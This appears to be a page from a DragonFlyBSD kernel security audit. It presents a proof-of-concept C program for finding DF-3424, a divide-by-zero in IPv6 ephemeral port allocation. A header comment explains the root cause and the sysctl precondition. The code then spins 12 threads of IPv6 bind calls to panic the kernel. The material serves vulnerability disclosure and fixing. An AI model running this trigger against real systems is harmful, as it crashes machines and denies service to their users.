⬢ DragonFlyBSD Kernel Audit
DF-3424 / df3424_bind6.c
← back to finding ↓ download raw
/*
 * DF-3424 - in6_pcbsetlport() divide-by-zero on degenerate ephemeral
 * port range (DF-0334's unfiled IPv6 twin).
 *
 * sys/netinet6/in6_src.c:473-476:
 *	in_pcbportrange(&last, &first, portinfo->offset, step);
 *	lport = last - first;			<-- 0 when range collapses
 *	count = lport / step;			<-- 0/step == 0, ok
 *	lport = rounddown(cut % lport, step) + first;   <-- cut % 0 => #DE
 *
 * Root sets net.inet.ip.portrange.first == last == V with
 * V % netisr-ncpus == 0 (in_pcbportrange then yields last == first).
 * Any AF_INET6 ephemeral port allocation (bind port 0) that executes on
 * the CPU whose portinfo->offset == 0 divides by zero and panics.
 *
 * No privilege needed for the trigger itself (the sysctl is the root
 * misconfiguration; after that ANY local user's IPv6 traffic panics).
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>
#include <stdio.h>
#include <pthread.h>

static void *
spinner(void *arg)
{
	struct sockaddr_in6 sin6;

	for (;;) {
		int s = socket(AF_INET6, SOCK_DGRAM, 0);
		if (s < 0)
			continue;
		memset(&sin6, 0, sizeof(sin6));
		sin6.sin6_family = AF_INET6;
		sin6.sin6_port = 0;		/* ephemeral => in6_pcbsetlport */
		sin6.sin6_addr = in6addr_any;
		if (bind(s, (struct sockaddr *)&sin6, sizeof(sin6)) == 0)
			;			/* ofs!=0 cpus bind, uneventful */
		close(s);
	}
	return NULL;
}

int
main(void)
{
	pthread_t th[12];
	int i;

	for (i = 0; i < 12; i++)
		pthread_create(&th[i], NULL, spinner, NULL);
	printf("spinning AF_INET6 ephemeral binds; CPU with ofs==0 => div0\n");
	fflush(stdout);
	for (i = 0; i < 12; i++)
		pthread_join(th[i], NULL);
	return 0;
}